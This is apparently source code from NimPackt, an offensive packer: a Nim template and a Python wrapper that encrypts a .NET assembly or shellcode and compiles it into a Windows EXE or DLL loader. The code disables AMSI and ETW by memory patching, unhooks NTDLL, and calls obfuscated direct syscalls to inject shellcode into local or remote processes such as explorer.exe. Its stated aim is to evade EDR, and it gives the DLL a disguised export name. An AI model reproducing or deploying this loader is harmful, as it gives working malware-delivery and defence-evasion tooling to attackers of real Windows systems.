VirtualProtect(sbAddr, aPatch.len, PAGE_EXECUTE_READWRITE, addr op): 123 | copyMem(sbAddr, unsafeAddr aPatch, aPatch.len) 124 | VirtualProtect(sbAddr, aPatch.len, op, addr t) 125 | disabled = true 126 | 127 | return disabled 128 | 129 | when defined disableEtw: 130 | when defined amd64: 131 | const patch: array[1, byte] = [byte 0xc3] 132 | elif defined i386: 133 | const patch: array[4, byte] = [byte 0xc2, 0x14, 0x00, 0x00] 134 | proc dEtw(): bool = 135 | var 136 | ntdll: LibHandle 137 | cs: pointer 138 | oldProtect: DWORD 139 | tt: DWORD 140 | disabled: bool = false 141 | 142 | ntdll = loadLib("ntdll") 143 | if isNil(ntdll): 144 | when defined verbose: 145 | echo "[X] Failed to load ntdll.dll" 146 | return disabled 147 | 148 | cs = ntdll.symAddr("EtwEventWrite") 149 | if isNil(cs): 150 | return disabled 151 | 152 | when defined syscalls: 153 | # NtProtectVirtualMemory 154 | var op: ULONG 155 | var pLen = cast[SIZE_T](patch.len) 156 | var csAddr = cs 157 | var ret = OWMMatfEEuAkFGyd(getCurrentProcess(), &csAddr, &pLen, PAGE_EXECUTE_READWRITE, &oldProtect) 158 | 159 | # NtWriteVirtualMemory 160 | var bytesWritten: SIZE_T 161 | ret = eodmammwgdehtZKC(getCurrentProcess(), csAddr, unsafeAddr patch, patch.len, addr bytesWritten) 162 | 163 | # NtProtectVirtualMemory 164 | var t: ULONG 165 | ret = OWMMatfEEuAkFGyd(getCurrentProcess(), &csAddr, &pLen, oldProtect, &tt) 166 | 167 | disabled = true 168 | else: 169 | if VirtualProtect(cs, patch.len, 0x40, addr oldProtect): 170 | copyMem(cs, unsafeAddr patch, patch.len) 171 | VirtualProtect(cs, patch.len, oldProtect, addr tt) 172 | disabled = true 173 | 174 | return disabled 175 | 176 | when defined patchApiCalls: 177 | # Decrypt Shellycoat shellcode 178 | proc dCryptApiC(cryptedCoat: string, key: array[16, byte], iv: array[16, byte]): seq[byte] = 179 | let cryptedCoatBytes = toByteSeq(decode(cryptedCoat)) 180 | var 181 | encodedCoat = newSeq[byte](len(cryptedCoatBytes)) 182 | decodedCoat = newSeq[byte](len(cryptedCoatBytes)) 183 | 184 | encodedCoat = cryptedCoatBytes 185 | var dctx: CTR[aes128] 186 | dctx.init(key, iv) 187 | dctx.decrypt(encodedCoat, decodedCoat) 188 | dctx.clear() 189 | 190 | return decodedCoat 191 | 192 | when defined executeAssembly: 193 | proc execAsm(decodedPay: openArray[byte]): void = 194 | var assembly = load(decodedPay) 195 | 196 | # BELOW LINE WILL BE REPLACED BY WRAPPER SCRIPT || EXAMPLE: let arr = toCLRVariant(["argument1", "argument2"], VT_BSTR) 197 | #[ PLACEHOLDERARGUMENTS ]# 198 | 199 | when defined verbose: 200 | echo "[*] Executing assembly..." 201 | 202 | assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) 203 | 204 | when defined(shinject) or defined(patchApiCalls): 205 | when defined syscalls: 206 | # Run shellcode using direct syscalls for low-level APIs 207 | proc rSc(payload: openArray[byte]): void = 208 | # NtAllocateVirtualMemory 209 | var sc_size: SIZE_T = cast[SIZE_T](payload.len) 210 | var dest: LPVOID 211 | var ret = nWEpirsdHAHLmkkz(getCurrentProcess(), &dest, 0, &sc_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE) 212 | when defined verbose: 213 | echo "[*] NtAllocateVirtualMemory: ", ret 214 | 215 | # NtWriteVirtualMemory 216 | var bytesWritten: SIZE_T 217 | ret = eodmammwgdehtZKC(getCurrentProcess(), dest, unsafeAddr payload, sc_size-1, addr bytesWritten) 218 | when defined verbose: 219 | echo "[*] NtWriteVirtualMemory: ", ret 220 | echo " \\-- bytes written: ", bytesWritten 221 | 222 | let f = cast[proc(){.nimcall.}](dest) 223 | f() 224 | else: 225 | # Run shellcode using VirtualProtect() 226 | proc rSc(payload: openArray[byte]): void = 227 | var oldProtect : DWORD 228 | var ret = VirtualProtect(payload.unsafeAddr, len(payload), PAGE_EXECUTE_READWRITE, oldProtect.addr) 229 | when defined verbose: 230 | echo "[*] VirtualProtect: ", ret 231 | let f = cast[proc(){.nimcall.}](payload.unsafeAddr) 232 | f() 233 | 234 | when defined remoteShinject: 235 | when defined syscalls: 236 | # Remote shellcode injection using syscalls 237 | proc iSR(payload: openArray[byte], tProcId: int): void = 238 | var rcid: CLIENT_ID 239 | rcid.UniqueProcess = cast[DWORD](tProcId) 240 | 241 | # NtOpenProcess, get handle on remote process 242 | var rHandle: HANDLE 243 | var roa: OBJECT_ATTRIBUTES 244 | var ret = GALPYIdGzuLQOpTx(&rHandle, PROCESS_ALL_ACCESS, &roa, &rcid) 245 | when defined verbose: 246 | echo "[*] NtOpenProcess: ", ret 247 | echo " \\-- rHandle: ", rHandle 248 | 249 | # NtAllocateVirtualMemory, allocate memory in remote thread 250 | var rBaseAddr: LPVOID 251 | var sc_size: SIZE_T = cast[SIZE_T](payload.len) 252 | ret = nWEpirsdHAHLmkkz(rHandle, &rBaseAddr, 0, &sc_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 253 | when defined verbose: 254 | echo "[*] NtAllocateVirtualMemory: ", ret 255 | 256 | # NtWriteVirtualMemory, write payload to remote thread 257 | var bytesWritten: SIZE_T 258 | ret = eodmammwgdehtZKC(rHandle, rBaseAddr, unsafeAddr payload, sc_size-1, addr bytesWritten); 259 | when defined verbose: 260 | echo "[*] NtWriteVirtualMemory: ", ret 261 | echo " \\-- bytes written: ", bytesWritten 262 | 263 | # NtCreateThreadEx, execute shellcode from memory region in remote thread 264 | var tHandle: HANDLE 265 | ret = MrvSSHuatQxosGly(&tHandle, THREAD_ALL_ACCESS, NULL, rHandle, rBaseAddr, NULL, FALSE, 0, 0, 0, NULL) 266 | when defined verbose: 267 | echo "[*] NtCreateThreadEx: ", ret 268 | 269 | # NtClose, close the handles 270 | ret = pCsHHYfYZhNuUXYy(rHandle) 271 | ret = pCsHHYfYZhNuUXYy(tHandle) 272 | else: 273 | # Remote shellcode injection using high-level APIs 274 | proc iSR(payload: openArray[byte], tProcId: int): void = 275 | let pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](tProcId)) 276 | defer: CloseHandle(pHandle) 277 | when defined verbose: 278 | echo "[*] pHandle: ", pHandle 279 | 280 | let rPtr = VirtualAllocEx(pHandle, NULL, cast[SIZE_T](payload.len), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE) 281 | 282 | var bytesWritten: SIZE_T 283 | let wSuccess = WriteProcessMemory(pHandle, rPtr, unsafeAddr payload, cast[SIZE_T](payload.len), addr bytesWritten) 284 | when defined verbose: 285 | echo "[*] WriteProcessMemory: ", bool(wSuccess) 286 | echo " \\-- bytes written: ", bytesWritten 287 | 288 | var tHandle : HANDLE 289 | tHandle = CreateRemoteThread(pHandle, NULL, 0, cast[LPTHREAD_START_ROUTINE](rPtr), NULL, NULL, NULL) 290 | defer: CloseHandle(tHandle) 291 | when defined verbose: 292 | echo "[*] tHandle: ", tHandle 293 | echo "[+] Injected" 294 | 295 | proc rShI(decodedPay: openArray[byte]) : void = 296 | # BELOW LINE WILL BE REPLACED BY WRAPPER SCRIPT || EXAMPLE: var tProc: string = "explorer.exe" 297 | #[ PLACEHOLDERTARGETPROC ]# 298 | # BELOW LINE WILL BE REPLACED BY WRAPPER SCRIPT || EXAMPLE: var nProc: bool = true 299 | #[ PLACEHOLDERNEWPROC ]# 300 | 301 | if tProcId == 0: 302 | if nProc == false: 303 | # Inject in existing process, get first PID with the specified name 304 | when defined verbose: 305 | echo "[*] Targeting existing process..." 306 | let wmi = GetObject(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") 307 | for process in wmi.execQuery("SELECT * FROM win32_process"): 308 | if process.name == tProc: 309 | tProcId = process.handle 310 | else: 311 | # Inject in new process, launch new process with specified name and get PID 312 | when defined verbose: 313 | echo "[*] Targeting new process..." 314 | let tProcess = startProcess(tProc) 315 | tProcess.suspend() 316 | defer: tProcess.close() 317 | tProcId = cast[DWORD](tProcess.processID) 318 | 319 | when defined verbose: 320 | echo "[*] Target Process: ", tProc, " [", tProcId, "]" 321 | 322 | iSR(decodedPay, tProcId) 323 | 324 | proc theMainFunction() : void = 325 | 326 | echo NimPackt 327 | 328 | #[ 329 | BELOW LINES WILL BE REPLACED BY WRAPPER SCRIPT || EXAMPLE: 330 | let b64buf = "ZXhhbXBsZQo=" 331 | let cryptedCoat = "" 332 | let cryptIV: array[16, byte] = [byte 0x11,0x65,0xde,0x9f,0xfe,0xc9,0x15,0x33,0x6e,0x0a,0x8a,0x2e,0x4a,0x2d,0xff,0xb7] 333 | 334 | (key is defined separately as a const to prevent the values from being too close together) 335 | ]# 336 | #[ PLACEHOLDERCRYPTEDINPUT ]# 337 | #[ PLACEHOLDERCRYPTEDSHELLYCOAT ]# 338 | #[ PLACEHOLDERCRYPTIV ]# 339 | 340 | when defined calcPrimes: 341 | discard cPrim(30) 342 | 343 | # Prepare decryption stuff 344 | let cryptedInput = toByteSeq(decode(b64buf)) 345 | 346 | var 347 | key : array[aes128.sizeKey, byte] 348 | iv : array[aes128.sizeBlock, byte] 349 | encodedPay = newSeq[byte](len(cryptedInput)) 350 | decodedPay = newSeq[byte](len(cryptedInput)) 351 | 352 | key = cryptKey 353 | iv = cryptIV 354 | encodedPay = cryptedInput 355 | 356 | when defined patchApiCalls: 357 | var sCoat = dCryptApiC(cryptedCoat, key, iv) 358 | 359 | # Decrypt the encrypted bytes of the main payload 360 | var dctx2: CTR[aes128] 361 | dctx2.init(key, iv) 362 | dctx2.decrypt(encodedPay, decodedPay) 363 | dctx2.clear() 364 | 365 | when defined executeAssembly: 366 | var success : bool 367 | when defined patchAmsi: 368 | # Patch AMSI 369 | success = pAms() 370 | when defined verbose: 371 | echo "[*] AMSI disabled: ", success 372 | 373 | when defined disableEtw: 374 | # Disable ETW 375 | success = dEtw() 376 | when defined verbose: 377 | echo "[*] ETW disabled: ", success 378 | 379 | when defined patchApiCalls: 380 | when defined verbose: 381 | echo "[*] Executing shellycoat in local thread to unhook NTDLL..." 382 | rSc(sCoat) 383 | 384 | execAsm(decodedPay) 385 | 386 | when defined shinject: 387 | when defined patchApiCalls: 388 | when defined verbose: 389 | echo "[*] Executing shellycoat in local thread to unhook NTDLL..." 390 | rSc(sCoat) 391 | when defined verbose: 392 | echo "[*] Executing shellcode in local thread..." 393 | rSc(decodedPay) 394 | 395 | when defined remoteShinject: 396 | when defined patchApiCalls: 397 | when defined verbose: 398 | echo "[*] Executing shellycoat in remote thread to unhook NTDLL..." 399 | rShI(sCoat) 400 | when defined verbose: 401 | echo "[*] Executing shellcode in remote thread..." 402 | rShI(decodedPay) 403 | 404 | when defined exportExe: 405 | when isMainModule: 406 | theMainFunction() 407 | 408 | when defined exportDll: 409 | proc NimMain() {.cdecl, importc.} 410 | 411 | proc IconSrv(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 412 | NimMain() 413 | theMainFunction() 414 | return true 415 | -------------------------------------------------------------------------------- /NimPackt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | #----- 4 | # 5 | # NimPackt - a Nim-Based C# (.NET) binary executable wrapper for OpSec & Profit 6 | # By Cas van Cooten (@chvancooten) 7 | # 8 | # This script formats the .NET bytecode and compiles the nim code. 9 | # For usage please refer to README.md 10 | # 11 | #----- 12 | # 13 | # References: 14 | # 15 | # Based on OffensiveNim by Marcello Salvati (@byt3bl33d3r) 16 | # https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim 17 | # https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_amsiPatch_bin.nim 18 | # 19 | # 20 | # Also inspired by the below post by Fabian Mosch (@S3cur3Th1sSh1t) 21 | # https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/ 22 | # 23 | #----- 24 | 25 | import sys 26 | import argparse 27 | import binascii 28 | import os 29 | import base64 30 | from hashlib import sha1 31 | from Crypto.Cipher import AES 32 | from Crypto.Util import Counter 33 | 34 | scriptDir = os.path.dirname(__file__) 35 | templateDir = os.path.join(scriptDir, "templates") 36 | outDir = os.path.join(scriptDir, "output") 37 | 38 | def getSha1Sum(file): 39 | BUF_SIZE = 65536 40 | Sha1Sum = sha1() 41 | with open(file, 'rb') as f: 42 | while True: 43 | data = f.read(BUF_SIZE) 44 | if not data: 45 | break 46 | Sha1Sum.update(data) 47 | return Sha1Sum.hexdigest() 48 | 49 | def int_of_string(s): 50 | return int(binascii.hexlify(s), 16) 51 | 52 | def encrypt_message(key, iv, plaintext): 53 | ctr = Counter.new(128, initial_value=int_of_string(iv)) 54 | aes = AES.new(key, AES.MODE_CTR, counter=ctr) 55 | return iv + aes.encrypt(plaintext) 56 | 57 | def cryptFiles(inFilename, unhookApis, x64): 58 | if not os.path.exists(inFilename): 59 | raise SystemExit("ERROR: Input file is not valid.") 60 | 61 | print("Encrypting binary to embed...") 62 | with open(inFilename,'rb') as inFile: 63 | plaintext = inFile.read() 64 | key = os.urandom(16) # AES-128, so 16 bytes 65 | iv = os.urandom(16) 66 | ciphertext = encrypt_message(key, iv, plaintext) 67 | 68 | # Pass the encrypted string, skipping the IV portion 69 | cryptedInput = f"let b64buf = \"{str(base64.b64encode(ciphertext[16:]), 'utf-8')}\"" 70 | 71 | # Define as bytearray to inject in Nim source code 72 | cryptIV = f"let cryptIV: array[{len(iv)}, byte] = [byte " 73 | cryptIV = cryptIV + ",".join ([f"{x:#0{4}x}" for x in iv]) 74 | cryptIV = cryptIV + "]" 75 | 76 | # cryptKey is defined as a const to place it at a different spot in the binary 77 | cryptKey = f"const cryptKey: array[{len(key)}, byte] = [byte " 78 | cryptKey = cryptKey + ",".join ([f"{x:#0{4}x}" for x in key]) 79 | cryptKey = cryptKey + "]" 80 | 81 | if unhookApis: 82 | if x64: 83 | with open(os.path.join(scriptDir, 'dist/shellycoat_x64.bin'),'rb') as coatFile: 84 | plaintext = coatFile.read() 85 | cipherCoat = encrypt_message(key, iv, plaintext) 86 | cryptedCoat = f"let cryptedCoat = \"{str(base64.b64encode(cipherCoat[16:]), 'utf-8')}\"" 87 | else: 88 | raise SystemExit("ERROR: Bypassing user-mode API hooks is not supported in 32-bit mode.") 89 | else: 90 | cryptedCoat = "let cryptedCoat = \"\"" # This implies disabling UM API unhooking 91 | 92 | return cryptedInput, cryptedCoat, cryptIV, cryptKey 93 | 94 | def parseArguments(inArgs): 95 | # Construct the packed arguments in the right format (array split on space) 96 | if not inArgs: 97 | result = 'let arr = toCLRVariant([""], VT_BSTR)' 98 | elif inArgs == "PASSTHRU": 99 | result = 'let arr = toCLRVariant(commandLineParams(), VT_BSTR)' 100 | else: 101 | parsedArgs = inArgs.split(" ") 102 | parsedArgs = ', '.join('"{0}"'.format(w.replace('\\', '\\\\')) for w in parsedArgs) 103 | result = f'let arr = toCLRVariant([{parsedArgs}], VT_BSTR)' 104 | 105 | return result 106 | 107 | def generateSource_ExecuteAssembly(inFileName, outFileName, cryptedInput, cryptedCoat, cryptIV, cryptKey, argString): 108 | # Construct the Nim source file based on the passed arguments 109 | tplFileName = "NimPackt-Template.nim" 110 | 111 | result = "" 112 | with open(os.path.join(templateDir, tplFileName),'r') as templateFile: 113 | for line in templateFile: 114 | new_line = line.rstrip() 115 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTKEY ]#', cryptKey) 116 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTEDINPUT ]#', cryptedInput) 117 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTEDSHELLYCOAT ]#', cryptedCoat) 118 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTIV ]#', cryptIV) 119 | new_line = new_line.replace('#[ PLACEHOLDERARGUMENTS ]#', argString) 120 | result += new_line +"\n" 121 | 122 | if outFileName: 123 | outFileName = os.path.join(outDir, outFileName + ".nim") 124 | else: 125 | outFileName = os.path.join(outDir, os.path.splitext(os.path.basename(inFileName))[0].replace('-', '') + "ExecAssemblyNimPackt.nim") 126 | 127 | if not os.path.exists(outDir): 128 | os.makedirs(outDir) 129 | 130 | with open(outFileName, 'w') as outFile: 131 | outFile.write(result) 132 | print("Prepared Nim source file.") 133 | 134 | return outFileName 135 | 136 | def generateSource_Shinject(inFileName, outFileName, cryptedInput, cryptedCoat, cryptIV, cryptKey): 137 | # Construct the Nim source file based on the passed arguments 138 | tplFileName = "NimPackt-Template.nim" 139 | 140 | result = "" 141 | with open(os.path.join(templateDir, tplFileName),'r') as templateFile: 142 | for line in templateFile: 143 | new_line = line.rstrip() 144 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTKEY ]#', cryptKey) 145 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTEDINPUT ]#', cryptedInput) 146 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTEDSHELLYCOAT ]#', cryptedCoat) 147 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTIV ]#', cryptIV) 148 | result += new_line +"\n" 149 | 150 | if outFileName: 151 | outFileName = os.path.join(outDir, outFileName + ".nim") 152 | else: 153 | outFileName = os.path.join(outDir, os.path.splitext(os.path.basename(inFileName))[0].replace('-', '') + "ShinjectNimPackt.nim") 154 | 155 | if not os.path.exists(outDir): 156 | os.makedirs(outDir) 157 | 158 | with open(outFileName, 'w') as outFile: 159 | outFile.write(result) 160 | print("Prepared Nim source file.") 161 | 162 | return outFileName 163 | 164 | def generateSource_RemoteShinject(inFileName, outFileName, cryptedInput, cryptedCoat, cryptIV, cryptKey, injecttarget, existingprocess): 165 | # Construct the Nim source file based on the passed arguments 166 | tplFileName = "NimPackt-Template.nim" 167 | 168 | result = "" 169 | with open(os.path.join(templateDir, tplFileName),'r') as templateFile: 170 | for line in templateFile: 171 | new_line = line.rstrip() 172 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTKEY ]#', cryptKey) 173 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTEDINPUT ]#', cryptedInput) 174 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTEDSHELLYCOAT ]#', cryptedCoat) 175 | new_line = new_line.replace('#[ PLACEHOLDERCRYPTIV ]#', cryptIV) 176 | new_line = new_line.replace('#[ PLACEHOLDERTARGETPROC ]#', f"var tProc: string = \"{injecttarget}\"") 177 | new_line = new_line.replace('#[ PLACEHOLDERNEWPROC ]#', f"var nProc: bool = {str(not existingprocess).lower()}") 178 | result += new_line +"\n" 179 | 180 | if outFileName: 181 | outFileName = os.path.join(outDir, outFileName + ".nim") 182 | else: 183 | outFileName = os.path.join(outDir, os.path.splitext(os.path.basename(inFileName))[0].replace('-', '') + "RemoteShinjectNimPackt.nim") 184 | 185 | if not os.path.exists(outDir): 186 | os.makedirs(outDir) 187 | 188 | with open(outFileName, 'w') as outFile: 189 | outFile.write(result) 190 | print("Prepared Nim source file.") 191 | 192 | return outFileName 193 | 194 | def compileNim(fileName, fileType, executionMode, localInject, showConsole, unhookApis, useSyscalls, sleep, disableAmsi, disableEtw, x64, verbose, debug): 195 | # Compile the generated Nim file for Windows (cross-compile if run from linux) 196 | # Compilation flags are focused on stripping and optimizing the output binary for size 197 | if x64: 198 | cpu = "amd64" 199 | else: 200 | cpu = "i386" 201 | 202 | if showConsole: 203 | gui = "console" 204 | else: 205 | gui = "gui" 206 | 207 | try: 208 | compileCommand = f"nim c -d:strip -d:release --opt:size --passl:-flto --hints:off --warnings:off --app:{gui} --cpu={cpu}" 209 | 210 | if useSyscalls: 211 | compileCommand = compileCommand + " -d:syscalls" 212 | 213 | if sleep: 214 | compileCommand = compileCommand + " -d:calcPrimes" 215 | 216 | if unhookApis: 217 | compileCommand = compileCommand + " -d:patchApiCalls" 218 | 219 | if disableAmsi: 220 | compileCommand = compileCommand + " -d:patchAmsi" 221 | 222 | if disableEtw: 223 | compileCommand = compileCommand + " -d:disableEtw" 224 | 225 | if verbose: 226 | compileCommand = compileCommand + " -d:verbose" 227 | 228 | if executionMode == "execute-assembly": 229 | compileCommand = compileCommand + " -d:executeAssembly" 230 | 231 | elif executionMode == "shinject" and localInject == True: 232 | compileCommand = compileCommand + " -d:shinject" 233 | 234 | elif executionMode == "shinject" and localInject == False: 235 | compileCommand = compileCommand + " -d:remoteShinject" 236 | 237 | if fileType == "dll": 238 | compileCommand = compileCommand + " --app=lib --nomain -d:exportDll" 239 | outFileName = os.path.splitext(fileName)[0] + ".dll" 240 | else: 241 | compileCommand = compileCommand + " -d:exportExe" 242 | outFileName = os.path.splitext(fileName)[0] + ".exe" 243 | 244 | if os.name == 'nt': 245 | # Windows 246 | print("Compiling Nim binary (this may take a while)...") 247 | else: 248 | # Other (Unix) 249 | print("Cross-compiling Nim binary for Windows (this may take a while)...") 250 | compileCommand = compileCommand + " -d=mingw" 251 | 252 | compileCommand = compileCommand + f" {fileName}" 253 | if debug: 254 | print(f"[DEBUG] Compilation command: '{compileCommand}'.") 255 | os.system(compileCommand) 256 | except: 257 | e = sys.exc_info()[0] 258 | raise SystemExit(f"There was an error compiling the binary: {e}") 259 | 260 | if not debug: 261 | os.remove(fileName) 262 | 263 | print(f"Compiled Nim binary to {outFileName}!") 264 | print(f"SHA1 hash of file to use as IOC: {getSha1Sum(outFileName)}") 265 | if fileType == "dll": 266 | print(f"Trigger dll by calling 'rundll32 {os.path.basename(outFileName)},IconSrv'") 267 | print("Go forth and make a Nimpackt that matters \N{smiling face with sunglasses}") 268 | 269 | 270 | if __name__ == "__main__": 271 | parser = argparse.ArgumentParser() 272 | parser._action_groups.pop() 273 | required = parser.add_argument_group('required arguments') 274 | assembly = parser.add_argument_group('execute-assembly arguments') 275 | injection = parser.add_argument_group('shinject arguments') 276 | optional = parser.add_argument_group('other arguments') 277 | 278 | required.add_argument('-e', '--executionmode', action='store', dest='executionmode', help='Execution mode of the packer. Supports "execute-assembly" or "shinject"', required=True) 279 | required.add_argument('-i', '--inputfile', action='store', dest='inputfile', help='C# .NET binary executable (.exe) or shellcode (.bin) to wrap', required=True) 280 | assembly.add_argument('-a', '--arguments', action='store', dest='arguments', default="PASSTHRU", help='Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-time arguments (default)') 281 | assembly.add_argument('-na', '--nopatchamsi', action='store_false', default=True, dest='patchAmsi', help='Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)') 282 | assembly.add_argument('-ne', '--nodisableetw', action='store_false', default=True, dest='disableEtw', help='Do NOT disable Event Tracing for Windows (ETW)') 283 | injection.add_argument('-r', '--remote', action='store_false', dest='localinject', default=True, help='Inject shellcode into remote process (default false)') 284 | injection.add_argument('-t', '--target', action='store', dest='injecttarget', help='Remote thread targeted for remote process injection') 285 | injection.add_argument('-E', '--existing', action='store_true', dest='existingprocess', default=False, help='Remote inject into existing process rather than a newly spawned one (default false, implies -r) (WARNING: VOLATILE)') 286 | optional.add_argument('-o', '--outfile', action='store', dest='outputfile', help='Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension or path. This property will be stored in the output binary as the original filename') 287 | optional.add_argument('-nu', '--nounhook', action='store_false', default=True, dest='unhookApis', help='Do NOT unhook user-mode API hooks in the target process by loading a fresh NTDLL.dll') 288 | optional.add_argument('-ns', '--nosyscalls', action='store_false', default=True, dest='useSyscalls', help='Do NOT use direct syscalls (Windows generation 7-10) instead of high-level APIs to evade EDR') 289 | optional.add_argument('-f', '--filetype', action='store', default="exe", dest='filetype', help='Filetype to compile ("exe" or "dll", default: "exe")') 290 | optional.add_argument('-s', '--sleep', action='store_true', default=False, dest='sleep', help='Sleep for approx. 30 seconds by calculating primes') 291 | optional.add_argument('-32', '--32bit', action='store_false', default=True, dest='x64', help='Compile in 32-bit mode (untested)') 292 | optional.add_argument('-S', '--showConsole', action='store_true', default=False, dest='showConsole', help='Show a console window with the app\'s output when running') 293 | optional.add_argument('-d', '--debug', action='store_true', default=False, dest='debug', help='Enable debug mode (retains .nim source file in output folder)') 294 | optional.add_argument('-v', '--verbose', action='store_true', default=False, dest='verbose', help='Print debug messages of the wrapped binary at runtime') 295 | optional.add_argument('-V', '--version', action='version', version='%(prog)s v1.0 "I should learn how to code"-edition') 296 | 297 | args = parser.parse_args() 298 | 299 | if args.executionmode == "shinject" and (args.arguments not in ["", "PASSTHRU"] or args.patchAmsi != True or args.disableEtw != True): 300 | print("WARNING: Execute-assembly arguments (-a, -na, -ne) will be ignored in 'shinject' mode.") 301 | 302 | if args.executionmode == "execute-assembly" and (args.localinject == False or args.injecttarget != "explorer.exe" or args.existingprocess == True): 303 | print("WARNING: Shinject arguments (-r, -t, -E) will be ignored in 'execute-assembly' mode.") 304 | 305 | if args.executionmode == "shinject" and args.existingprocess == True: 306 | print("WARNING: ⚠ Injecting into existing processes is VERY volatile and is likely to CRASH the target process when exited. USE WITH CAUTION. ⚠") 307 | 308 | if args.executionmode == "execute-assembly" and args.filetype == "dll": 309 | print("WARNING: DLL files will not show console output. Make sure to pack your assembly with arguments to write to output file if you want the output.") 310 | 311 | if args.executionmode == "execute-assembly" and args.showConsole == False: 312 | print("WARNING: Assembly will be executed in GUI mode without a console! Recompile with the -S flag to show a console window with output on the target.") 313 | 314 | if args.x64 == False: 315 | print("WARNING: Compiling in x86 mode may cause crashes. Compile generated .nim file manually in this case. Forcing debug mode...") 316 | args.debug = True 317 | 318 | if args.x64 == False and args.useSyscalls == True: 319 | raise SystemExit("ERROR: Using direct syscalls is not supported in x86. Change to x64 or disable syscalls with -ns.") 320 | 321 | if args.x64 == False and args.unhookApis == True: 322 | raise SystemExit("ERROR: Unhooking APIs is not supported in x86. Change to x64 or disable unhooking with -nu.") 323 | 324 | if args.executionmode == "shinject" and (args.injecttarget is not None or args.existingprocess == True): 325 | args.localinject = False 326 | 327 | if args.executionmode == "shinject": 328 | args.patchAmsi = False 329 | args.disableEtw = False 330 | 331 | # Fix an optimization bug preventing injections from working 332 | # This has opsec implications, obviously. Left as exercise to the reader ;) 333 | if args.localinject == False and args.useSyscalls == True: 334 | args.verbose = True 335 | 336 | cryptedInput, cryptedCoat, cryptIV, cryptKey = cryptFiles(args.inputfile, args.unhookApis, args.x64) 337 | 338 | argString = parseArguments(args.arguments) 339 | 340 | if args.executionmode == "execute-assembly": 341 | sourceFile = generateSource_ExecuteAssembly(args.inputfile, args.outputfile, cryptedInput, cryptedCoat, 342 | cryptIV, cryptKey, argString) 343 | elif args.executionmode == "shinject" and args.localinject == True: 344 | sourceFile = generateSource_Shinject(args.inputfile, args.outputfile, cryptedInput, cryptedCoat, 345 | cryptIV, cryptKey) 346 | elif args.executionmode == "shinject" and args.localinject == False: 347 | sourceFile = generateSource_RemoteShinject(args.inputfile, args.outputfile, cryptedInput, cryptedCoat, 348 | cryptIV, cryptKey, args.injecttarget, args.existingprocess) 349 | else: 350 | raise SystemExit("ERROR: Argument 'executionmode' is not valid. Please specify either 'execute-assembly' or 'shinject'.") 351 | 352 | compileNim(sourceFile, args.filetype, args.executionmode, args.localinject, args.showConsole, args.unhookApis, 353 | args.useSyscalls, args.sleep, args.patchAmsi, args.disableEtw, args.x64, args.verbose, args.debug) --------------------------------------------------------------------------------